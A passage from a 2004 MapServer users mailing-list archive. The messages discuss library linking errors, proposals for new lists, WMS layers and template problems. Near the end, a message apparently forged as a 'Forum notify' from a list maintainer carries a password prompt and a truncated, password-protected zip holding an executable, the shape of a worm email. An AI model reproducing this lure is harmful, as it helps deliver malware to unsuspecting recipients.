ZXM6IGxpYnBxLnNvLjM6IGNhbm5vdCBvcGVuIHNoYXJlZCBvYmplY3QgZmlsZTogTm8gc3VjaCBm aWxlIG9yIGRpcmVjdG9yeQ0KW3Jvb3RAZGV2Z2VvIG1hcHNlcnZlci00LjIuMF0jIGxkZCAuL21h cHNlcnYNCglsaW51eC1nYXRlLnNvLjEgPT4gICgweDAwZGUxMDAwKQ0KCWxpYmdkLnNvLjIgPT4g L3Vzci9sb2NhbC9saWIvbGliZ2Quc28uMiAoMHgwMGQzZTAwMCkNCglsaWJqcGVnLnNvLjYyID0+ IC91c3IvbGliL2xpYmpwZWcuc28uNjIgKDB4MDA1M2EwMDApDQoJbGliZnJlZXR5cGUuc28uNiA9 PiAvdXNyL2xvY2FsL2xpYi9saWJmcmVldHlwZS5zby42ICgweDAwMmVlMDAwKQ0KCWxpYnRpZmYu c28uMyA9PiAvdXNyL2xpYi9saWJ0aWZmLnNvLjMgKDB4MDZlZmUwMDApDQoJbGlicHJvai5zby4w ID0+IC91c3IvbG9jYWwvbGliL2xpYnByb2ouc28uMCAoMHgwMDdlZDAwMCkNCglsaWJnZGFsLnNv LjEgPT4gL3Vzci9sb2NhbC9saWIvbGliZ2RhbC5zby4xICgweDAwODFmMDAwKQ0KCWxpYnBxLnNv LjMgPT4gbm90IGZvdW5kDQoJbGliY3VybC5zby4zID0+IC91c3IvbG9jYWwvbGliL2xpYmN1cmwu c28uMyAoMHgwMDE4NjAwMCkNCglsaWJzc2wuc28uNCA9PiAvbGliL2xpYnNzbC5zby40ICgweDAw NDljMDAwKQ0KCWxpYmNyeXB0by5zby40ID0+IC9saWIvbGliY3J5cHRvLnNvLjQgKDB4MDAxYjAw MDApDQoJbGliZGwuc28uMiA9PiAvbGliL2xpYmRsLnNvLjIgKDB4MDAxMTEwMDApDQoJbGliZ3Nz YXBpX2tyYjUuc28uMiA9PiAvdXNyL2xpYi9saWJnc3NhcGlfa3JiNS5zby4yICgweDAwZGU3MDAw KQ0KCWxpYmtyYjUuc28uMyA9PiAvdXNyL2xpYi9saWJrcmI1LnNvLjMgKDB4MDAzZGUwMDApDQoJ bGliY29tX2Vyci5zby4yID0+IC9saWIvbGliY29tX2Vyci5zby4yICgweDAwY2VmMDAwKQ0KCWxp Yms1Y3J5cHRvLnNvLjMgPT4gL3Vzci9saWIvbGliazVjcnlwdG8uc28uMyAoMHgwMDNiYTAwMCkN CglsaWJyZXNvbHYuc28uMiA9PiAvbGliL2xpYnJlc29sdi5zby4yICgweDAwYjg3MDAwKQ0KCWxp Ym0uc28uNiA9PiAvbGliL3Rscy9saWJtLnNvLjYgKDB4MDAxMTUwMDApDQoJbGlic3RkYysrLnNv LjUgPT4gL3Vzci9saWIvbGlic3RkYysrLnNvLjUgKDB4MDZiNjkwMDApDQoJbGliZ2NjX3Muc28u MSA9PiAvbGliL2xpYmdjY19zLnNvLjEgKDB4MDA2ZmIwMDApDQoJbGliYy5zby42ID0+IC9saWIv dGxzL2xpYmMuc28uNiAoMHgwMDU1ODAwMCkNCglsaWJYcG0uc28uNCA9PiAvdXNyL1gxMVI2L2xp Yi9saWJYcG0uc28uNCAoMHgwMGNmZTAwMCkNCglsaWJYMTEuc28uNiA9PiAvdXNyL1gxMVI2L2xp Yi9saWJYMTEuc28uNiAoMHgwMGI5OTAwMCkNCglsaWJ6LnNvLjEgPT4gL3Vzci9saWIvbGliei5z by4xICgweDAwMTM4MDAwKQ0KCWxpYnhlcmNlcy1jLnNvLjI1ID0+IC91c3IvbG9jYWwvbGliL2xp YnhlcmNlcy1jLnNvLjI1ICgweDAwZGZjMDAwKQ0KCWxpYnVuZ2lmLnNvLjQgPT4gL3Vzci9saWIv bGlidW5naWYuc28uNCAoMHgwMDE0OTAwMCkNCgkvbGliL2xkLWxpbnV4LnNvLjIgPT4gL2xpYi9s ZC1saW51eC5zby4yICgweDAwNzliMDAwKQ0KCWxpYnB0aHJlYWQuc28uMCA9PiAvbGliL3Rscy9s aWJwdGhyZWFkLnNvLjAgKDB4MDAxNTEwMDApDQpbcm9vdEBkZXZnZW8gbWFwc2VydmVyLTQuMi4w XSMgZXhpdA0KZXhpdA0KDQpTY3JpcHQgZG9uZSBvbiBUaHUgMTcgSnVuIDIwMDQgMDE6MTM6MDgg QU0gRURUDQo= ------_=_NextPart_001_01C4542A.338FDDE1-- From m.meier at spiekermann.de Wed Jun 16 22:21:19 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Thu, 17 Jun 2004 07:21:19 +0200 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: References: Message-ID: <40D12A4F.5040206@spiekermann.de> Hi all, i want to add something to my reply: At esri there is the site forums.esri.com. There you have a lot of mailing lists with questions and answers online. The advantage of this system is: - you do not have all the mails in your mail account. You read them online. - not every mail contains the text of all the mails of that thread like in mapserver list. All mails of one thread are listed one after another. I like this solution. But I see that this is a problem for people that are not always online. Manfred Tyler Mitchell schrieb: > Some of us have been discussing/debating about how to improve the > MapServer community, specifically via the mailing lists. The idea is that > there might be some benefit gained from creating a new list or two. > > I am not sure how well all the questions get answered, especially > considering the volume of mail coming through these days. > > - I've heard from more than a few people that they unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? > - Would an "announcement only" list be useful? > > What do you others on the list think? > > Tyler > > p.s. for those of you who were overcome with guilt for never replying to > my surveys, now's your chance to participate ;) ha! > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bob.basques at ci.stpaul.mn.us Wed Jun 16 22:24:37 2004 From: bob.basques at ci.stpaul.mn.us (blammo) Date: Thu, 17 Jun 2004 00:24:37 -0500 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: <40D12B15.2070101@ci.stpaul.mn.us> All, Manfred Meier wrote: > > Instead of creating a newbie list, i think it would be better to make > a FAQ page with a lot of reciepes. The mail archive is for a newbie of > less use. This was my single biggest frustration when I first stepped into using MapServer, the lack of up to date and complete examples of how to implement even the most basic of services. The Idea of a FAQ seems to hold merit in this regard. One thing I would really like to see is a sample of syntax added into the DOCs for each function being described. This would have helped me immeasurably in the beginning. the more the newbies are helped out to help themselve the better I think it will be all around. These ramblings are NOT coming from a seasoned MapServer user (YET), But I've learned enough to know what might help the uninitated. Unfortunately I don't know enough about things myself to feel comfortable trying to explain much to the next guy at this point. bobb (not a newbie, but just barely :c) P.S. A thought here, is there any interest on this list of folks who would pay for some sort of training scenario as it relates to using MapServer? A certification System might be an interesting topic to pursue. I hope I'm not stirring the Pot too much here. Some online Step by Step tutorial might be something as well. Although I would imagine that a lot of work would need to go into them to make them full featured and that some sort of funding source would be needed. Keeping up with new releases in this regard might be a chore as well. From warmerdam at pobox.com Wed Jun 16 23:07:31 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 17 Jun 2004 02:07:31 -0400 Subject: [Mapserver-users] rotating maps in 4.3 development release binaries from Maptools In-Reply-To: <6.0.0.22.2.20040617114559.01b2f8c8@sunrise.sli.unimelb.edu.au> References: <6.0.0.22.2.20040617114559.01b2f8c8@sunrise.sli.unimelb.edu.au> Message-ID: <40D13523.70507@pobox.com> Martin Tomko wrote: > Hi List > maybe I should as in the developer list, but I am not subscribed there.... > I just would like to ask what is the final syntax for the rotating maps > in 4.3 release... I am interested mostly by the CGI parameters... is it > rotmap?? and in which direction is the azimut used (direction of rotation). > Oh, and thanks for the wbmp support!! Martin, Others pointed to the wiki topic, but I would just add that I don't think any access to the rotation support has been provided via the cgi url parameters. Steve mentioned he might add that at some point. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From nicolas at maich.gr Wed Jun 16 23:17:41 2004 From: nicolas at maich.gr (Nicolas Boretos) Date: Thu, 17 Jun 2004 09:17:41 +0300 Subject: [Mapserver-users] Compile error In-Reply-To: <2576812186CDD411BF1500508B6DCE9507367001@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507367001@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40D13785.5040406@maich.gr> Kralidis,Tom [Burlington] wrote: >Hi, > >I'm running into issues in deploying MapServer. > >Info: > >- OS: Fedora Core 2 >- supporting libs installed in default locations > >I've included my terminal session in trying to compile (attachement >build_output.txt). > >Note that it's looking for the libpq lib. I even tried copying >/usr/local/pgsql/lib/libpq* to /usr/local/lib, but ldd still gives me >problems for libpq. > >Any suggestions are valued. > >Thanks > >..Tom > >========================= >Tom Kralidis >Systems Scientist >Environment Canada >Tel: +01-905-336-4409 >http://www.ec.gc.ca/ > > Hi Tom, I usually add the shared lib directory to the /etc/ld.so.conf file, and then I do an "ldconfig" in that directory, to update. Some OS's e.g. Solaris sometime need explicit lib path, e.g. LD_LIBRARY_PATH="path to libs...." : export LD_LIBRARY_PATH regards, nicolas boretos From Antti.Roppola at brs.gov.au Wed Jun 16 23:48:22 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Thu, 17 Jun 2004 16:48:22 +1000 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A08787@afeb-ms-02> Manfred Meier wrote: > Instead of creating a newbie list, i think it would be better to make a > FAQ page with a lot of reciepes. The mail archive is for a newbie of > less use. That sounds like what (I think) the Mapserver Wiki should be doing: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl > - I don't know what an "announcement only" list is. Perhaps someone can > explain. Only people like Steve Lime, Frank Warnerdam and Daniel Morrisette would be allowed to post. They'd post infrequently to let people know about new versions of Mapserver and such. Antti From alhim at intracom.gr Wed Jun 16 23:49:14 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Thu, 17 Jun 2004 09:49:14 +0300 Subject: [Mapserver-users] Compile error In-Reply-To: <2576812186CDD411BF1500508B6DCE9507367001@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507367001@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <200406170949.14115.alhim@intracom.gr> On Thursday 17 June 2004 08:16, Kralidis,Tom [Burlington] wrote: > Hi, > > I'm running into issues in deploying MapServer. > > Info: > > - OS: Fedora Core 2 > - supporting libs installed in default locations > > I've included my terminal session in trying to compile (attachement > build_output.txt). > > Note that it's looking for the libpq lib. I even tried copying > /usr/local/pgsql/lib/libpq* to /usr/local/lib, but ldd still gives me > problems for libpq. > > Any suggestions are valued. > > Thanks > > ..Tom > > ========================= > Tom Kralidis > Systems Scientist > Environment Canada > Tel: +01-905-336-4409 > http://www.ec.gc.ca/ Hi Tom, if you just add the /usr/local/pgsql/lib directory (and/or any other directories for libraries needed ) in your /etc.ld.so.conf file and run ldconfig, then you will be able to run the mapserv CGI. Alexandros From Lars Wed Jun 16 23:55:13 2004 From: Lars (HVM)" Message-ID: <001501c45438$0baf0de0$6e01a8c0@odin> This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C45448.CD569AC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MessageHi Trent, If you only need to display a majority of the layers, one approach I've = used with much success is breaking the layer list up into suitable = chunks, and publishing these chuncks as seperate (local) WMS services, = i.e. as a cascading WMS server. It also helps to administer a large = number of layers, being able to "outsource" the internal handling of a = number of layers to a single resource. A WMS layer is just one layer in a MAP file, but it's content may in = reality be any number of layers (up to 100). Best regards / Med venlig hilsen Lars V. Nielsen -------------------------------------------------------- Hvenegaard & Meklenborg Rugaardsvej 55, DK-5000 Odense C Denmark http://www.hvm.dk ----- Original Message -----=20 From: Trent Burton=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Wednesday, June 16, 2004 1:33 PM Subject: [Mapserver-users] More than 100 layers in Mapserver Does anyone have Windows binaries for, say, 500 layers (or even more) = in Mapserver? Can anyone comment on if such a large number of layers is = an issue? Thanks, Trent Burton ------=_NextPart_000_0012_01C45448.CD569AC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message
Hi Trent,
 
If you only need to display a majority = of the=20 layers, one approach I've used with much success is breaking the layer = list up=20 into suitable chunks, and publishing these chuncks as seperate (local) = WMS=20 services, i.e. as a cascading WMS server. It also helps to administer a = large=20 number of layers, being able to "outsource" the internal handling of a = number of=20 layers to a single resource.
 
A WMS layer is just one layer in a MAP = file, but=20 it's content may in reality be any number of layers (up to = 100).
 
Best regards / Med venlig hilsen
Lars V.=20 Nielsen
--------------------------------------------------------
Hv= enegaard=20 & Meklenborg
Rugaardsvej 55, DK-5000 Odense C
Denmark
http://www.hvm.dk
----- Original Message -----
From:=20 Trent=20 Burton
To: mapserver-users at lists.g= is.umn.edu=20
Sent: Wednesday, June 16, 2004 = 1:33=20 PM
Subject: [Mapserver-users] More = than 100=20 layers in Mapserver

Does = anyone have=20 Windows binaries for, say, 500 layers (or even more) in = Mapserver?  Can=20 anyone comment on if such a large number of layers is an=20 issue?
 
Thanks,
 
Trent=20 Burton
------=_NextPart_000_0012_01C45448.CD569AC0-- From mtomko at sunrise.sli.unimelb.edu.au Wed Jun 16 23:59:54 2004 From: mtomko at sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Thu, 17 Jun 2004 16:59:54 +1000 Subject: [Mapserver-users] Rotating maps and mapscript In-Reply-To: <40D118A0.5090700@dmsolutions.ca> References: <6.0.0.22.2.20040617133536.01adaba0@sunrise.sli.unimelb.edu.au> <40D118A0.5090700@dmsolutions.ca> Message-ID: <6.0.0.22.2.20040617164024.01b0e548@sunrise.sli.unimelb.edu.au> Thanks Daniel, Frank, yes, that is the release I have downloaded. And finally I got it running (for everybody else - do not forget to fill the Projection parameters to all layers, even if not needed for your application!). Now, just to have the possibility to change the value by the cgi... Good work!! Thanks a lot! M. From mcortez at gmail.com Thu Jun 17 00:13:54 2004 From: mcortez at gmail.com (Michael Cortez) Date: Thu, 17 Jun 2004 00:13:54 -0700 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: <40D12180.60509@spiekermann.de> References: <40D12180.60509@spiekermann.de> Message-ID: > - The different lists should be created by the theme like (as you said) > "mapscript", "postgis and wms specific", perhaps "raster data". > Having been on some mailing lists in other industries that tried to split, doing so along skill levels has always lead to the creation of a bunch of dead lists... But splitting along clearly defined sub-categories has worked well, particularly if that subject gets a lot of messages. I'm realatively new here, about 6 weeks or so, but based on what I've seen I'd suggest these additional lists: * Map Script -- anything to do with PHP/Perl mapscripting. There seems to be quite a lot of traffic on this area to sustain a list. * Finding Data -- Queries about where to find data * Windows Specific -- anything that is specific to windows only, such as binary builds, or configuring IIS, etc. I'm on Gentoo and haven't found much of these messages to be helpful... Just another 2cents, -- Mike Cortez Fullerton College From norbert.thieme at ilmenau.baw.de Thu Jun 17 03:19:10 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Thu, 17 Jun 2004 12:19:10 +0200 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: References: Message-ID: <40D1701E.9040307@ilmenau.baw.de> Tyler Mitchell schrieb: > Some of us have been discussing/debating about how to improve the > MapServer community, specifically via the mailing lists. The idea is that > there might be some benefit gained from creating a new list or two. > > I am not sure how well all the questions get answered, especially > considering the volume of mail coming through these days. > > - I've heard from more than a few people that they unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? > - Would an "announcement only" list be useful? > > What do you others on the list think? > > Tyler > > p.s. for those of you who were overcome with guilt for never replying to > my surveys, now's your chance to participate ;) ha! > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi. At first I want to say that the list is a great benefit for the most users. The questions are answered quick and helpful and there are often good things (even on other topics) that bring up new thoughts to own projects or problems. The greatest thing is that in the most cases there are people who are willing to answer. So I think it will be difficult to divide the list and then still find the right person to answer a question. But there are some things I would say: - A list for announcements would be great. - Perhaps there should be a list or forum only for discussion (something like this thing here - no problems directly) to take out the discussions from the "normal" mails. In this case the announcement list can summarize the topics weekly or monthly for those who will not subscribe to discussion list/forum. Reducing the rest of the traffic is arkward and I think everything what can be done is a step in the wrong way. But here are some thoughts: Filtering out topics of minor interest means not always to filter out the things never used instead it often means to filter out topics where knownledge is available. So the chance for getting help for those who have problems with this topic gets reduced too. In addition to that there are surely problems that can't be assigned to the right category when a person is faced with it the first time (e.g. blank image) or there must be dozens of seperate categories. But then it is easier to get all the mails and delete each per hand. A thing to reduce the traffic of the "noraml" mails could be a system of groups (even if I don't want that). Maybe something like: 1. "newbies group" 2. "normal user group" 3. "gurus group" The users can put themselves into the group 1. or 2 (there could be a switch in the subscription properties). Getting to group 3. should be restricted somehow. A question to the list should then go to the own group and to the next higher group. So the problems should still get solved. Perhaps group 3. should have the chance to ask all users but therefore the announcement list and the discussion forum/list could be used. Regards, Norbert From alhim at intracom.gr Thu Jun 17 04:04:17 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Thu, 17 Jun 2004 14:04:17 +0300 Subject: [Mapserver-users] OUTLINECOLOR problem in WMS layer Message-ID: <200406171404.17876.alhim@intracom.gr> Hello , I have setup a WMS server containing only one layer. In particular, this layer is a set of polygons representing the boundaries of countries(It's the country layer on ESRI demo data ). Although I have defined the OUTLINECOLOR attribute in STYLE body on the WMS server mapfile , when I get the rendered image with my Python Mapscript code, I am not able to see the borders(outlines of the polygons). However, when i make a GETMAP request with my Mozilla browser, I can properly see them. Please notice that I can also see these lines in the temporarily stored image stored in the path defined in the WEB object of the WMS client mapfile. Is this problem because of a bug in Python MapScript or because of a misconfiguration ? Cheers, Alex From m.spring at gmx.de Thu Jun 17 04:16:00 2004 From: m.spring at gmx.de (Markus Spring) Date: Thu, 17 Jun 2004 13:16:00 +0200 Subject: [Mapserver-users] Mapserver 4.2.0 Template Weirdness Message-ID: <40D17D70.2000201@gemini.local> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, checking the 4.2.0 CGI mapserver, a ran across a weird template problem regarding the [layer], [layer_esc] and [toggle_layers] variables. The output with the same querystring of &map=/home/springm/perl/Geo-UMNmapserver/t/maps/verwaltungsgrenzenflur/verwaltungsgrenzenflur.dfo.map &mode=browse &layer=l1 &layer=l0 &layer=bgl15 &layer=bgl11 &layer=bgl20 &zoomdir=1 &zoomsize=2 &mapsize=400+300 &scale=9700 &mapxy=4465711.0965965+5341175.7092885 (of cours all in one line) returns: => layers: l1 l0 bgl15 bgl11 bgl20 => toggle_layers: bgl99 bgl20 bgl11 bgl00 bgl00 bgl00 bgl00 l0 l1 bgl98 bgl15 bgl08 bgl08 bgl08 bgl08 bgl08 bgl08 MSSuser __embed__scalebar __embed__legend and => layers: bgl20 => toggle_layers: __embed__legend I have no explanation for this behavior. Kind regards Markus -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFA0X1wxxUzQSse11ARAqDWAJ4iZsjeAJP4m0EPfBqd3rHxpeOCoQCeJhow sauVCV97B3hVYFDCSgT2CaQ= =ILL4 -----END PGP SIGNATURE----- From msoto002 at eresmas.com Thu Jun 17 04:23:00 2004 From: msoto002 at eresmas.com (m soto .) Date: Thu, 17 Jun 2004 11:23:00 GMT Subject: [Mapserver-users] scale in query result Message-ID: <151e5315504f.15504f151e53@ma12.eresmas.com> =3Ctable border=3D0 width=3D=22100=25=22 cellpadding=3D=228=22 cellpaddi= ng=3D=228=22=3E=3Ctr=3E=3Ctd bgcolor=3D=22=23ffffff=22=3E=3CP=3E=3CFONT f= ace=3D=22courier new=22=3E=3CSTRONG=3EHi List!=3C/STRONG=3E=3C/FONT=3E=3C= /P=3E =3CP=3E=3CFONT face=3D=22courier new=22=3EI need to show the query map in= the same scale as the map in the map template=2C but I want the size of = querymap smaller than the map=2E=3C/FONT=3E=3C/P=3E =3CP=3E=3CFONT face=3D=22courier new=22=3EIf I show the query result in t= he same page (target =3D =5Fself) it goes=2C but if I show the query resu= lt in a different window the query map has got the same extent than the m= ap=2C so the resultant scale is bigger=2E (I need to do that in a new win= dow)=3C/FONT=3E=3C/P=3E =3CP=3E=3CFONT face=3D=22courier new=22=3EHow can i do that=3F=3C/FONT=3E= =3C/P=3E =3CP=3E=3CFONT face=3D=22courier new=22=3E=3CSTRONG=3EThanks in advanced=2E= Maria=2E=3C/STRONG=3E=3C/FONT=3E=3C/P=3E =3CP=3E=3CFONT face=3D=22courier new=22=3E// query result in a new window= =3C/FONT=3E=3C/P=3E =3CP=3E=3CFONT face=3D=22courier new=22=3Efunction CheckTarget()=7B=3CBR=3E= =26nbsp=3Bif (document=2Emapserv=2Emode=2Evalue =3D=3D =22query=22)=7B=3C= BR=3E=26nbsp=3B document=2Emapserv=2Etarget=3D=22query=22=3B=3CBR=3E=26nb= sp=3B window=2Eopen(=27=27=2C =27query=27=2C =27resizable=3Dyes=2Cscrollb= ars=3Dyes=2Ctoolbar=3Dno=2Cmenubar=3Dno=2Cwidth=3D400=2Cheight=3D300=27)=3B= =3CBR=3E=26nbsp=3B=7D else =7B=3CBR=3E=26nbsp=3B document=2Emapserv=2Etar= get=3D=22=5Fself=22=3B=3CBR=3E=26nbsp=3B=7D=3CBR=3E=7D=3C/FONT=3E=3C/P=3E= =3CP=3E=3CFONT face=3D=22courier new=22=3E// querymap in mapfile=3C/FONT=3E= =3C/P=3E =3CP=3E=3CFONT face=3D=22courier new=22=3E=26nbsp=3BQUERYMAP=3CBR=3E=26nb= sp=3B SIZE 300 187=3CBR=3E=26nbsp=3B STATUS ON=3CBR=3E=26nbsp=3B STYLE HI= LITE=3CBR=3E=26nbsp=3B COLOR 0 255 255=3CBR=3E=26nbsp=3BEND=3C/FONT=3E=3C= /P=3E=3C/td=3E=3C/tr=3E=3C/table=3E=3Cbr=3E=3Cbr=3E=3Cspan style=3D=22fon= t-family=3Amonospace=22=3E-----------------------------------------------= ------------------------=3C/span=3E=3Cbr=3E=3Cspan style=3D=22font-family= =3Averdana=3Bfont-size=3A11px=3B=22=3EJuan acaba de ganar 40 euros vendie= ndo un jersey que no usaba gracias a Ebay=2C =BFcuanto quieres ganar t=FA= =3F=3Cbr=3E=3Ca href=3D=22http=3A//banner=2Eeresmas=2Ecom/adclick/CID=3D0= 0005850c858344d00000000/site=3DERESMAS/area=3DERESMAS=2ECORREO/aamsz=3DPI= E=5FWEBMAIL=22 target=3D=22=5Fblank=22=3Ehttp=3A//ad=2Edoubleclick=2Enet/= clk=3B7342022=3B7829128=3Bi=3Fhttp=3A//adfarm=2Emediaplex=2Ecom/ad/ck/118= 5-18912-4660-5=3FRedirectEnter=26partner=3D36993=26loc=3Dhttp=3A//www=2Ee= s=2Eebay=2Ecom=3C/a=3E=3C/span=3E=3Cbr=3E From 1wilkerson at charter.net Thu Jun 17 04:45:41 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Thu, 17 Jun 2004 07:45:41 -0400 Subject: [Mapserver-users] Can you do Logical Expressions in PHP/Mapscript? References: <40D07862.5040503@consultoria.eti.br> Message-ID: <002f01c45460$9e4a9ca0$6400a8c0@Dale1> This is a multi-part message in MIME format. ------=_NextPart_000_002C_01C4543F.16FD5330 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable And if so, what is the syntax? With much appreciation!! Peter ------=_NextPart_000_002C_01C4543F.16FD5330 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
And if so, what is the = syntax?
 
With much appreciation!!
 
Peter
 
------=_NextPart_000_002C_01C4543F.16FD5330-- From steve.lime at dnr.state.mn.us Thu Jun 17 06:00:51 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Thu, 17 Jun 2004 07:00:51 -0600 Subject: [Mapserver-users] Forum notify Message-ID: ----------rbkliidlodfsilaqmzlt Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Password:

----------rbkliidlodfsilaqmzlt Content-Type: image/jpeg; name="kkcgbjpwra.jpeg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="kkcgbjpwra.jpeg" Content-ID: /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR CAARADoDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+sTV9Zms7uS2tliLw2b3snmAncinG0YI wTzzzjHStuua8QWu6/eWISGWeye0kPkSuFRjncCisMjng469RUVG0tDkxspxpXg7Fm+1+SFN Le3ti0V9LAvmv90CTPAHUnA+gyOvSprvULyy1C1SRIHhubgQRxxgmQDBO8knGBjkY6d+1Zl+ IZrTSLa2S7VLG5hkO+yn5RARgfIeaI7uZddmvpbWWZGIjiYwXAMMXGcL5OCSck8+2ajmd9zk deSlZz6r0Wmu33GlDq88viVtMa28qJbZpgzn5mw+0EYPA6n16dKNL1eTUNX1O1KIsNr5XlsO rBgTk+3AxVCZ45fEcl//AKakL2BtcpZT+YrF85GY8dP17UaFAbbX7+Yz3kkd0sax+baOmdi4 yx8tVGOgwec85OKFJ3WvUqNep7WMea65n1W1nb8bHTUUUVseoFFFFABRRRQAUUUUAFFFFAH/ 2X//f/9//3//f/9//3//f/9//3//f/9//3//f/9//38qAyoD/3//fyoDKgP/f/9//3//fyoD KgP/f/9//3//f7ZHKgO2R/9//3//f/9//38qAyoD/3//f9xvtkf/fyoDKgP/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//fyoDKgP/f/9/KgMqA/9/ /3//f/9/KgMqA/9//3//f/9//3+SNyoD22P/f/9//3//fyoDKgP/f/9//3+SN/1zKgMqA/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/KgMqA/9/ /38qAyoD/3//f7ZH/38qAyoD/3//f/9//3//f/1zKgNwJ/9//3+2R/9/KgMqA/9//3//f9tr uFMqAyoD/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3+UPyoD/3//fyoDlD//f/9/KgOUPyoDKgP/f/9//3//f/9//38qAyoD/3//fyoDlD8qAyoD /3//f/9//3+SNyoDKgP/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f7lbKgPbY9tjKgO5W/9//3/+d7ZHKgMqA/9//3+SNyoD/nf+dyoDuFP/f/9/ /ne2RyoDKgP/f/9//3//f9tjKgMqA/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3+4UyoDKgO4U/9//3//f/9//3+3TyoD/3//f/53lD8qAyoD uFP/f/9//3//f/9/t08qA/9//3//f/9//39wJyoD/3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//fw== ----------rbkliidlodfsilaqmzlt Content-Type: application/octet-stream; name="Smoke.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Smoke.zip" UEsDBAoAAQAIAEA10TCaYTdaJlMAAM1PAAAJAAAAenliaGouZXhlOnbzB30WxxCukCwIXQOb S04D1h0ujJ1OQ+21TnaXB+WM8BrLhPu/M/FOFM/T9WdALf5UYh8VeLxgUVqBFr9aU+l6M4bF 